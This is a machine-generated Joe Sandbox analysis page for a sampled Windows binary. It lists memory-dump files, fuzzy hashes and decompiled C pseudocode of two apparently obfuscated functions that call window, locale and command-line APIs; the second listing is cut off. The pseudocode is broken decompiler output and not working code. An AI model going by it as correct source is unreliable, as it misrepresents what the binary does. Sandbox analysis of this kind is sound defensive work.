Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 4fb38e501c833dfac5724b895c558e7270dfcc77df6bb1b6decf8e346fc54f36
Instruction ID: 707d4ee8bdfa924a11064d9d85023f1fa79e57a7e644f4ac0e745e4952bd69db
Opcode Fuzzy Hash: 4fb38e501c833dfac5724b895c558e7270dfcc77df6bb1b6decf8e346fc54f36
Instruction Fuzzy Hash: 81F17C67F38A0666F7125F3CAD5A2B922A17F2070DF780739C709E119ADF3DB5858248

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CAF7B1 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 306
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00007FF67FF6B1CAF7B1(void* __ebx, void* __edi, void* __ebp, void* __eflags, void* __rsi, void* _a128) {
				signed int _t30;
				void* _t56;
				void* _t88;
				void* _t106;
				void* _t129;
				void* _t133;
				void* _t159;
				void* _t161;
				void* _t169;
				signed int _t172;
				signed long long _t180;
				void* _t183;
				signed int* _t185;
				signed long long _t190;
				signed long long _t193;
				signed long long _t198;
				signed long long _t201;
				signed long long _t204;
				signed long long _t207;
				signed long long _t208;
				signed long long _t210;
				signed long long _t213;
				void* _t217;
				signed long long _t220;
				signed long long _t224;
				signed long long _t228;
				signed long long _t232;
				void* _t246;
				void* _t249;
				void* _t252;
				void* _t255;
				void* _t258;
				void* _t261;
				void* _t264;
				void* _t267;
				void* _t270;
				void* _t273;
				void* _t276;
				void* _t279;
				void* _t282;
				void* _t285;
				void* _t288;
				signed int _t299;
				signed int _t301;
				signed long long _t311;
				signed int _t322;
				void* _t330;

				_t133 = __eflags;
				E00007FF67FF6B1D3ACF4(_t180);
				if (_t133 >= 0) goto 0xb1caf7c1;
				_t183 = (_t180 & _t311) - _t299 + _t299;
				 *0xb1decf60 = _t301;
				 *0xb1decf60 = _t322;
				if (_t322 + _t299 - 0x5f < 0) goto 0xb1caf78e;
				_t30 = E00007FF67FF6B1D3ACF4(_t183);
				_t185 = _t183 - _t299 + _t299;
				goto 0xb1caf821;
				asm("verw ax");
				asm("out 0xb4, eax");
				 *_t185 =  *_t185 | _t30 | r15d;
				if (_t185 - 0x69 >= 0) goto 0xb1caf818;
				 *0xb1decf60 = _t301;
				asm("adc eax, [eax]");
				_t190 = 0x54 + _t299;
				if (0x54 - 0x63 < 0) goto 0xb1caf82c;
				E00007FF67FF6B1D3ACF4(_t190);
				if (0x54 - 0x63 >= 0) goto 0xb1caf849;
				_t193 = (_t190 & 0x8000007f) - _t299 + _t299;
				if (0x54 != 0x12) goto 0xb1caf855;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t193);
				if (0x54 - 0x12 >= 0) goto 0xb1caf865;
				if ((_t193 & 0x8000007f) - _t299 + _t299 != 0x34) goto 0xb1caf877;
				GetUserDefaultLangID();
				 *0xb1decf60 = r12d;
				asm("adc eax, [eax]");
				_t198 = 0x3a + _t299;
				if (0x3a - 0x43 < 0) goto 0xb1caf87c;
				E00007FF67FF6B1D3ACF4(_t198);
				if (0x3a - 0x43 >= 0) goto 0xb1caf899;
				_t201 = (_t198 & 0x8000007f) - _t299 + _t299;
				asm("movsd xmm6, [0x10f177]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x3a - 0x43 <= 0) goto 0xb1caf8d9;
				E00007FF67FF6B1D3ACF4(_t201);
				if (0x3a - 0x43 >= 0) goto 0xb1caf8bf;
				_t204 = (_t201 & 0x8000007f) - _t299 + _t299;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x3a;
				goto 0xb1caf8eb;
				 *0xb1da4000();
				 *0xb1decf60 = _t299;
				 *0xb1decf60 = _t299;
				 *0xb1decf60 = _t299;
				GetWindowTextLengthW(??);
				E00007FF67FF6B1D3ACF4(_t204);
				E00007FF67FF6B1D3ACF4(_t204);
				if (0x3a - 0x43 >= 0) goto 0xb1caf90e;
				_t207 = (_t204 & 0x8000007f) - _t299 + _t299;
				asm("movsd xmm6, [0x10f00a]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x3a - 0x43 > 0) goto 0xb1caf92d;
				 *0xb1decf60 = r12d;
				goto 0xb1caf955;
				E00007FF67FF6B1D3ACF4(_t207);
				_t208 = _t207 & 0x8000007f;
				if (0x3a >= 0) goto 0xb1caf93d;
				_t210 = _t208 - _t299 + _t299;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x3a;
				GetTopWindow(??);
				bpl =  !bpl;
				asm("adc eax, [eax]");
				E00007FF67FF6B1D3ACF4(_t210);
				if (0x3a >= 0) goto 0xb1caf97d;
				_t213 = (_t210 & 0x8000007f) - _t299 + _t299;
				if (0x3a - 0x66 > 0) goto 0xb1caf987;
				if (0x2f - 0x30 < 0) goto 0xb1caf962;
				r15d = 0x42;
				 *0xb1decf60 = 0x2f;
				_t56 = E00007FF67FF6B1D3ACF4(_t213);
				if (0x2f - 0x30 >= 0) goto 0xb1caf9ab;
				_t217 = ((_t213 & 0x8000007f) - _t299 | 0xffffff80) + _t299;
				if (_t56 != r14d) goto 0xb1caf9b5;
				if (0x2f + _t299 - 0x48 < 0) goto 0xb1caf990;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t217);
				_t220 = (_t217 - _t299 | 0xffffff80) + _t299;
				if (0x3a - 0x2d > 0) goto 0xb1cafa1f;
				E00007FF67FF6B1D3ACF4(_t220);
				if (0x3a - 0x2d >= 0) goto 0xb1caf9e6;
				_t224 = ((_t220 & 0x8000007f) - _t299 | 0xffffff80) + _t299;
				if (0x3a == 0xb) goto 0xb1cafa1f;
				 *0xb1decf60 = _t299;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = _t299;
				 *0xb1decf60 = _t299;
				E00007FF67FF6B1D3ACF4(_t224);
				if (0x3a - 0xb >= 0) goto 0xb1cafa14;
				_t228 = ((_t224 & 0x8000007f) - _t299 | 0xffffff80) + _t299;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(_t228);
				if (0x3a - 0x2d >= 0) goto 0xb1cafa2f;
				_t232 = ((_t228 & 0x8000007f) - _t299 | 0xffffff80) + _t299;
				if (0x3a == 0x1e) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(_t232);
				if (0x3a - 0x1e >= 0) goto 0xb1cafa44;
				if (0x3a - 0x30 < 0) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(((_t232 & 0x8000007f) - _t299 | 0xffffff80) + _t299);
				if (0x3a - 0x30 >= 0) goto 0xb1cafa59;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(((((_t232 & 0x8000007f) - _t299 | 0xffffff80) + _t299 & 0x8000007f) - _t299 | 0xffffff80) + _t299);
				if (0x3a - 0x1e >= 0) goto 0xb1cafa74;
				 *0xb1decf60 = 0;
				asm("adc eax, [eax]");
				_t246 = 0x6 + _t299;
				if (0x6 - 0x11 < 0) goto 0xb1cafa88;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebx;
				if (r13d - 0x7b < 0) goto 0xb1cafa83;
				asm("adc eax, [eax]");
				if (0x3e + _t299 - 0x41 < 0) goto 0xb1cafaaa;
				E00007FF67FF6B1D3ACF4(_t246);
				r13d = 0x8000007f;
				asm("push es");
				_t249 = (_t246 - _t299 | 0xffffff80) + _t299;
				if (0x6 != 0x3c) goto 0xb1cafb01;
				AnyPopup();
				r15d = r15d + __ebx;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t249);
				if (0x6 - 0x3c >= 0) goto 0xb1cafaf6;
				_t252 = (_t249 - _t299 | 0xffffff80) + _t299;
				if (0x6 == 0x75) goto 0xb1cafb01;
				_t159 = r15d - 0x4a;
				if (_t159 < 0) goto 0xb1cafad6;
				E00007FF67FF6B1D3ACF4(_t252);
				if (_t159 >= 0) goto 0xb1cafb11;
				_t255 = (_t252 - _t299 | 0xffffff80) + _t299;
				 *0xb1decf60 = 0;
				GetCommandLineW();
				E00007FF67FF6B1DA4020();
				asm("movsd xmm6, [0x10ec2c]");
				GetDesktopWindow();
				 *0xb1decf60 = _t299;
				E00007FF67FF6B1D3ACF4(_t255);
				if (0x6 - 0x3c >= 0) goto 0xb1cafb50;
				_t258 = (_t255 - _t299 | 0xffffff80) + _t299;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x6;
				 *0xb1decf60 = 0x41;
				_t161 = 0x41 + _t299 - 0x4c;
				if (_t161 < 0) goto 0xb1cafb34;
				IsIconic(??);
				IsZoomed(??);
				E00007FF67FF6B1D3ACF4(_t258);
				if (_t161 >= 0) goto 0xb1cafb95;
				_t261 = (_t258 - _t299 | 0xffffff80) + _t299;
				if (0x6 - 0x6c <= 0) goto 0xb1cafc80;
				E00007FF67FF6B1D3ACF4(_t261);
				if (0x6 - 0x6c >= 0) goto 0xb1cafbae;
				_t264 = (_t261 - _t299 | 0xffffff80) + _t299;
				if (0x6 != 0x15) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t264);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbc3;
				_t267 = (_t264 - _t299 | 0xffffff80) + _t299;
				if (0x6 != 0x5d) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t267);
				if (0x6 - 0x5d >= 0) goto 0xb1cafbd8;
				_t270 = (_t267 - _t299 | 0xffffff80) + _t299;
				goto 0xb1cafc47;
				E00007FF67FF6B1D3ACF4(_t270);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbed;
				_t273 = (_t270 - _t299 | 0xffffff80) + _t299;
				if (0x6 != 0x63) goto 0xb1cafc55;
				_t88 = E00007FF67FF6B1D3ACF4(_t273);
				asm("rcl dword [ebx], cl");
				goto 0xb1cafbb7;
				 *0x6 =  *0x6 | _t88 + bpl;
				if (0x6 - 0x63 >= 0) goto 0xb1cafc14;
				_t276 = (_t273 - _t299 | 0xffffff80) + _t299;
				if (0x6 - 0x43 >= 0) goto 0xb1cafc1e;
				if (0x38 - 0x44 < 0) goto 0xb1cafbfc;
				 *0xb1decf60 = _t299;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebx;
				_t169 = r14d - 0x6f;
				if (_t169 < 0) goto 0xb1cafbf2;
				E00007FF67FF6B1D3ACF4(_t276);
				if (_t169 >= 0) goto 0xb1cafc44;
				_t279 = (_t276 - _t299 | 0xffffff80) + _t299;
				 *0xb1decf60 = 0;
				goto 0xb1cafc5c;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t279);
				if (0x6 - 0x63 >= 0) goto 0xb1cafc6c;
				_t282 = (_t279 - _t299 | 0xffffff80) + _t299;
				 *0xb1decf60 = 0;
				goto 0xb1cafd19;
				_t172 = E00007FF67FF6B1D3ACF4(_t282) & r13d;
				if (_t172 >= 0) goto 0xb1cafc90;
				_t285 = (_t282 - _t299 | 0xffffff80) + _t299;
				asm("movsd xmm0, [0x10edd0]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t172 != 0) goto 0xb1cafca8;
				if (_t172 == 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4(_t285);
				if (_t172 >= 0) goto 0xb1cafcb8;
				_t288 = (_t285 - _t299 | 0xffffff80) + _t299;
				if (0x6 - _t299 > 0) goto 0xb1cafcc4;
				 *0xb1decf60 = _t299;
				goto 0xb1cafd13;
				if ((E00007FF67FF6B1D3ACF4(_t288) & r13d) >= 0) goto 0xb1cafcd4;
				if (0x6 - 0x5e < 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4((_t288 - _t299 | 0xffffff80) + _t299);
				if (0x6 - 0x5e >= 0) goto 0xb1cafce9;
				if (0x6 - 0x67 >= 0) goto 0xb1cafd13;
				 *0xb1decf60 = _t299;
				E00007FF67FF6B1D3ACF4(((_t288 - _t299 | 0xffffff80) + _t299 - _t299 | 0xffffff80) + _t299);
				if (0x6 - 0x67 >= 0) goto 0xb1cafd04;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = _t299;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = 0x33;
				AnyPopup();
				r8d = r8d | 0xffffffff;
				0xb1ca6ecc(); // executed
				if (0x6 == 0) goto 0xb1cafd51;
				r8d = 0;
				_t106 = E00007FF67FF6B1CB5030(r12d & 0xffffff00 | 0x00000006 - 0x00000067 < 0x00000000, _t129, r8d, (((_t288 - _t299 | 0xffffff80) + _t299 - _t299 | 0xffffff80) + _t299 - _t299 | 0xffffff80) + _t299, _t299, __rsi, __rsi, _t330);
				goto 0xb1cafd54;
				0xb1cb1e80(); // executed
				asm("movaps xmm6, [esp+0x30]");
				asm("movaps xmm7, [esp+0x20]");
				return _t106;
			}

0x7ff6b1caf7b1
0x7ff6b1caf7b1
0x7ff6b1caf7b8
0x7ff6b1caf7bf
0x7ff6b1caf7ca
0x7ff6b1caf7d0
0x7ff6b1caf7db
0x7ff6b1caf7dd
0x7ff6b1caf7f0
0x7ff6b1caf7fb
0x7ff6b1caf806
0x7ff6b1caf809
0x7ff6b1caf80b
0x7ff6b1caf80f
0x7ff6b1caf821
0x7ff6b1caf830
0x7ff6b1caf832
0x7ff6b1caf837
0x7ff6b1caf839
0x7ff6b1caf840
0x7ff6b1caf847
0x7ff6b1caf84c
0x7ff6b1caf84e
0x7ff6b1caf855
0x7ff6b1caf85c
0x7ff6b1caf868
0x7ff6b1caf86a
0x7ff6b1caf870
0x7ff6b1caf880
0x7ff6b1caf882
0x7ff6b1caf887
0x7ff6b1caf889
0x7ff6b1caf890
0x7ff6b1caf897
0x7ff6b1caf899
0x7ff6b1caf8a1
0x7ff6b1caf8a5
0x7ff6b1caf8a9
0x7ff6b1caf8ad
0x7ff6b1caf8af
0x7ff6b1caf8b6
0x7ff6b1caf8bd
0x7ff6b1caf8bf
0x7ff6b1caf8c6
0x7ff6b1caf8ca
0x7ff6b1caf8d1
0x7ff6b1caf8d7
0x7ff6b1caf8d9
0x7ff6b1caf8df
0x7ff6b1caf8e5
0x7ff6b1caf8ed
0x7ff6b1caf8f3
0x7ff6b1caf8f9
0x7ff6b1caf8fe
0x7ff6b1caf905
0x7ff6b1caf90c
0x7ff6b1caf90e
0x7ff6b1caf916
0x7ff6b1caf91a
0x7ff6b1caf91e
0x7ff6b1caf922
0x7ff6b1caf924
0x7ff6b1caf92b
0x7ff6b1caf92d
0x7ff6b1caf932
0x7ff6b1caf934
0x7ff6b1caf93b
0x7ff6b1caf93d
0x7ff6b1caf944
0x7ff6b1caf948
0x7ff6b1caf94f
0x7ff6b1caf957
0x7ff6b1caf966
0x7ff6b1caf968
0x7ff6b1caf96a
0x7ff6b1caf974
0x7ff6b1caf97b
0x7ff6b1caf980
0x7ff6b1caf985
0x7ff6b1caf987
0x7ff6b1caf992
0x7ff6b1caf998
0x7ff6b1caf9a2
0x7ff6b1caf9a9
0x7ff6b1caf9ae
0x7ff6b1caf9b3
0x7ff6b1caf9b5
0x7ff6b1caf9bc
0x7ff6b1caf9cf
0x7ff6b1caf9d4
0x7ff6b1caf9d6
0x7ff6b1caf9dd
0x7ff6b1caf9e4
0x7ff6b1caf9e9
0x7ff6b1caf9eb
0x7ff6b1caf9f1
0x7ff6b1caf9f8
0x7ff6b1caf9fe
0x7ff6b1cafa04
0x7ff6b1cafa0b
0x7ff6b1cafa12
0x7ff6b1cafa1d
0x7ff6b1cafa1f
0x7ff6b1cafa26
0x7ff6b1cafa2d
0x7ff6b1cafa32
0x7ff6b1cafa34
0x7ff6b1cafa3b
0x7ff6b1cafa47
0x7ff6b1cafa49
0x7ff6b1cafa50
0x7ff6b1cafa62
0x7ff6b1cafa64
0x7ff6b1cafa6b
0x7ff6b1cafa7d
0x7ff6b1cafa8c
0x7ff6b1cafa8e
0x7ff6b1cafa93
0x7ff6b1cafa95
0x7ff6b1cafa9c
0x7ff6b1cafaa3
0x7ff6b1cafaae
0x7ff6b1cafab4
0x7ff6b1cafab6
0x7ff6b1cafabb
0x7ff6b1cafaca
0x7ff6b1cafacf
0x7ff6b1cafad4
0x7ff6b1cafad6
0x7ff6b1cafadc
0x7ff6b1cafadf
0x7ff6b1cafae6
0x7ff6b1cafaee
0x7ff6b1cafaf4
0x7ff6b1cafaf9
0x7ff6b1cafafb
0x7ff6b1cafaff
0x7ff6b1cafb01
0x7ff6b1cafb09
0x7ff6b1cafb0f
0x7ff6b1cafb1a
0x7ff6b1cafb20
0x7ff6b1cafb26
0x7ff6b1cafb2c
0x7ff6b1cafb34
0x7ff6b1cafb3a
0x7ff6b1cafb40
0x7ff6b1cafb48
0x7ff6b1cafb4e
0x7ff6b1cafb50
0x7ff6b1cafb57
0x7ff6b1cafb5b
0x7ff6b1cafb64
0x7ff6b1cafb6a
0x7ff6b1cafb70
0x7ff6b1cafb73
0x7ff6b1cafb77
0x7ff6b1cafb7f
0x7ff6b1cafb85
0x7ff6b1cafb8d
0x7ff6b1cafb93
0x7ff6b1cafb98
0x7ff6b1cafb9e
0x7ff6b1cafba6
0x7ff6b1cafbac
0x7ff6b1cafbb1
0x7ff6b1cafbb3
0x7ff6b1cafbbb
0x7ff6b1cafbc1
0x7ff6b1cafbc6
0x7ff6b1cafbc8
0x7ff6b1cafbd0
0x7ff6b1cafbd6
0x7ff6b1cafbdb
0x7ff6b1cafbdd
0x7ff6b1cafbe5
0x7ff6b1cafbeb
0x7ff6b1cafbf0
0x7ff6b1cafbf2
0x7ff6b1cafc01
0x7ff6b1cafc05
0x7ff6b1cafc07
0x7ff6b1cafc0c
0x7ff6b1cafc12
0x7ff6b1cafc17
0x7ff6b1cafc1c
0x7ff6b1cafc1e
0x7ff6b1cafc24
0x7ff6b1cafc2b
0x7ff6b1cafc2e
0x7ff6b1cafc32
0x7ff6b1cafc34
0x7ff6b1cafc3c
0x7ff6b1cafc42
0x7ff6b1cafc4d
0x7ff6b1cafc53
0x7ff6b1cafc55
0x7ff6b1cafc5c
0x7ff6b1cafc64
0x7ff6b1cafc6a
0x7ff6b1cafc75
0x7ff6b1cafc7b
0x7ff6b1cafc85
0x7ff6b1cafc88
0x7ff6b1cafc8e
0x7ff6b1cafc90
0x7ff6b1cafc98
0x7ff6b1cafc9c
0x7ff6b1cafca0
0x7ff6b1cafca4
0x7ff6b1cafca6
0x7ff6b1cafca8
0x7ff6b1cafcb0
0x7ff6b1cafcb6
0x7ff6b1cafcba
0x7ff6b1cafcbc
0x7ff6b1cafcc2
0x7ff6b1cafccc
0x7ff6b1cafcd7
0x7ff6b1cafcd9
0x7ff6b1cafce1
0x7ff6b1cafcec
0x7ff6b1cafcee
0x7ff6b1cafcf4
0x7ff6b1cafcfc
0x7ff6b1cafd0d
0x7ff6b1cafd13
0x7ff6b1cafd19
0x7ff6b1cafd20
0x7ff6b1cafd2a
0x7ff6b1cafd30
0x7ff6b1cafd39
0x7ff6b1cafd40
0x7ff6b1cafd42
0x7ff6b1cafd4a
0x7ff6b1cafd4f
0x7ff6b1cafd57
0x7ff6b1cafd5c
0x7ff6b1cafd6b
0x7ff6b1cafd7f

APIs

GetUserDefaultLangID.KERNEL32 ref: 00007FF6B1CAF86A
GetWindowTextLengthW.USER32 ref: 00007FF6B1CAF8F3
GetTopWindow.USER32 ref: 00007FF6B1CAF957

Strings

R, xrefs: 00007FF6B1CAFD4A
$!, xrefs: 00007FF6B1CAFD57

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: Window$DefaultLangLengthTextUser
String ID: $!$R
API String ID: 3221498785-3637212060
Opcode ID: d795625c7b00143dc665c7c2a6728e9792af29470b0f9643e49eea715e816e9e
Instruction ID: 2e7066ee2aa43c25d68492dc4a52ba64234b21c33f783b020c87dde3fb0cd1c0
Opcode Fuzzy Hash: d795625c7b00143dc665c7c2a6728e9792af29470b0f9643e49eea715e816e9e
Instruction Fuzzy Hash: 4FC17B67E38506B6FB165F3CAC992BD66A06F2465CF640738C719C129ACF3CF64A8244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA79D5 Relevance: 19.9, APIs: 13, Instructions: 410
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF67FF6B1CA79D5(void* __ebx, void* __edi, signed int __esi, void* __ebp, struct HWND__* __rdx, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				void* _t76;
				signed int _t181;
				void* _t203;
				signed int _t246;
				signed int _t278;
				signed int _t280;
				void* _t289;
				void* _t296;
				void* _t297;
				void* _t298;
				void* _t301;
				void* _t302;
				void* _t316;
				void* _t323;
				signed int _t326;
				void* _t333;
				signed int _t351;
				void* _t362;
				void* _t365;
				void* _t366;
				void* _t368;
				void* _t376;
				void* _t377;
				void* _t379;
				signed long long _t392;
				signed long long _t393;
				signed long long _t394;
				signed long long _t398;
				signed long long _t402;
				void* _t406;
				signed long long _t409;
				signed long long _t419;
				signed long long _t423;
				signed long long _t427;
				signed long long _t431;
				signed long long _t435;
				signed long long _t439;
				signed long long _t443;
				signed long long _t447;
				signed long long _t451;
				signed long long _t455;
				signed long long _t459;
				signed long long _t460;
				signed long long _t463;
				signed long long _t467;
				void* _t471;
				signed long long _t474;
				signed long long _t475;
				void* _t478;
				void* _t481;
				void* _t488;
				void* _t491;
				void* _t494;
				void* _t497;
				void* _t500;
				void* _t514;
				void* _t517;
				void* _t524;
				void* _t527;
				void* _t530;
				void* _t533;
				void* _t536;
				void* _t539;
				void* _t542;
				void* _t545;
				void* _t548;
				void* _t551;
				void* _t554;
				void* _t557;
				void* _t560;
				void* _t563;
				void* _t566;
				void* _t569;
				void* _t572;
				void* _t575;
				void* _t578;
				void* _t581;
				void* _t584;
				void* _t587;
				void* _t590;
				signed long long _t593;
				void* _t596;
				signed long long _t601;
				void* _t604;
				void* _t607;
				void* _t610;
				void* _t613;
				void* _t616;
				void* _t625;
				void* _t628;
				void* _t631;
				void* _t634;
				void* _t637;
				void* _t640;
				void* _t643;
				void* _t649;
				signed long long _t654;
				void* _t658;
				signed long long _t681;
				void* _t684;
				void* _t689;
				signed long long _t692;
				signed long long _t694;
				void* _t698;

				 *0xb1decf60 = _t654;
				E00007FF67FF6B1D3ACF4(_t392);
				_t393 = _t392 & 0x8000007f;
				if (_t393 >= 0) goto 0xb1ca79f2;
				_t394 = _t393 | _t681;
				if (_t394 == 0x1d) goto 0xb1ca79d0;
				E00007FF67FF6B1D3ACF4(_t394);
				 *0xb1decf60 = r13d;
				r13d = 0x4b;
				_t296 = __esi - r13d;
				if (_t296 < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = _t684 + _t654;
				E00007FF67FF6B1D3ACF4(_t394);
				_push(0x8000007f);
				if (_t296 >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = _t689 + _t654;
				E00007FF67FF6B1D3ACF4(_t394);
				if (_t296 >= 0) goto 0xb1ca7a41;
				_t398 = ((_t394 & 0x8000007f) - _t654 | _t681) + _t654;
				_t297 = _t398 - 0x76;
				if (_t297 >= 0) goto 0xb1ca7a25;
				_t76 = E00007FF67FF6B1D3ACF4(_t398);
				if (_t297 >= 0) goto 0xb1ca7a57;
				_t402 = ((_t398 & 0x8000007f) - _t654 | _t681) + _t654;
				_t298 = _t402 - 0x23;
				if (_t298 < 0) goto 0xb1ca7a7c;
				_t694 = _t654;
				_pop(_t692);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + _t76;
				 *0xb1decf60 = _t692;
				AnyPopup();
				IsZoomed(??);
				GetModuleHandleW(??);
				IsZoomed(??);
				 *0xb1decf60 = 0x24;
				GetModuleHandleW(??);
				asm("cmpsd");
				_push(_t694);
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t402);
				if (_t298 >= 0) goto 0xb1ca7ac8;
				_t406 = ((_t402 & 0x8000007f) - _t692 | _t681) + _t692;
				if (_t406 - 0x33 > 0) goto 0xb1ca7ad2;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				_t409 = (_t406 - _t692 | _t681) + _t692;
				_t301 = _t409 - 0x69;
				if (_t301 >= 0) goto 0xb1ca7b2b;
				E00007FF67FF6B1D3ACF4(_t409);
				if (_t301 >= 0) goto 0xb1ca7afa;
				_t302 = ((_t409 & 0x8000007f) - _t692 | _t681) + _t692 - 0x44;
				if (_t302 == 0) goto 0xb1ca7b1f;
				E00007FF67FF6B1D3ACF4(((_t409 & 0x8000007f) - _t692 | _t681) + _t692);
				if (_t302 >= 0) goto 0xb1ca7b0e;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = _t692;
				 *0xb1decf60 = _t692;
				_t658 = 0xc + _t692;
				 *0xb1decf60 = 0xc;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				asm("adc al, 0x0");
				_t419 = 0x14 + _t692;
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup();
				E00007FF67FF6B1D3ACF4(_t419);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b69;
				_t423 = ((_t419 & 0x8000007f) - _t692 | _t681) + _t692;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (0x14 - 0x1d < 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t423);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b8e;
				_t427 = ((_t423 & 0x8000007f) - _t692 | _t681) + _t692;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t427);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7ba2;
				_t431 = ((_t427 & 0x8000007f) - _t692 | _t681) + _t692;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				E00007FF67FF6B1D3ACF4(_t431);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7bc2;
				_t435 = ((_t431 & 0x8000007f) - _t692 | _t681) + _t692;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = _t692;
				E00007FF67FF6B1DA4020();
				E00007FF67FF6B1D3ACF4(_t435);
				if (0x14 >= 0) goto 0xb1ca7be1;
				_t439 = ((_t435 & 0x8000007f) - _t692 | _t681) + _t692;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x14 <= 0) goto 0xb1ca7d0d;
				E00007FF67FF6B1D3ACF4(_t439);
				if (0x14 >= 0) goto 0xb1ca7c0a;
				_t443 = ((_t439 & 0x8000007f) - _t692 | _t681) + _t692;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				E00007FF67FF6B1D3ACF4(_t443);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7c22;
				_t447 = ((_t443 & 0x8000007f) - _t692 | _t681) + _t692;
